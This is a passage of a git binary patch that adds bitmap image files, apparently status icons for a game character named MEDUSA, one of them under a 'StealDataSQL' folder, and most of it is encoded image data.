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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp b/resources/default_config/characters/MEDUSA/status/StealDataSQL/StealDataSQL2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 